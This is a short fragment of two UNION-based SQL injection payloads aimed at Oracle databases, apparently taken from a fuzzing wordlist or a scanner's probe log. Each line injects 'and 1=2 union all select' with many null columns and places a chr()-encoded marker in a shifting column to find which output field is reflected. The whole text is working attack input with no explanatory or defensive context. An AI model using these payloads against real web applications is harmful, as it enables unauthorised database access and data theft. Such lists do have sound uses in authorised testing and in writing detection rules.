s and 1=2 union all select null,null,null,null,null,null,null,null,chr(49)||chr(53)||chr(56)||chr(55)||chr(54),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,null,null,null,null,null,null,null,null,chr(49)||chr(53)||chr(56)||chr(55)||chr(54),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--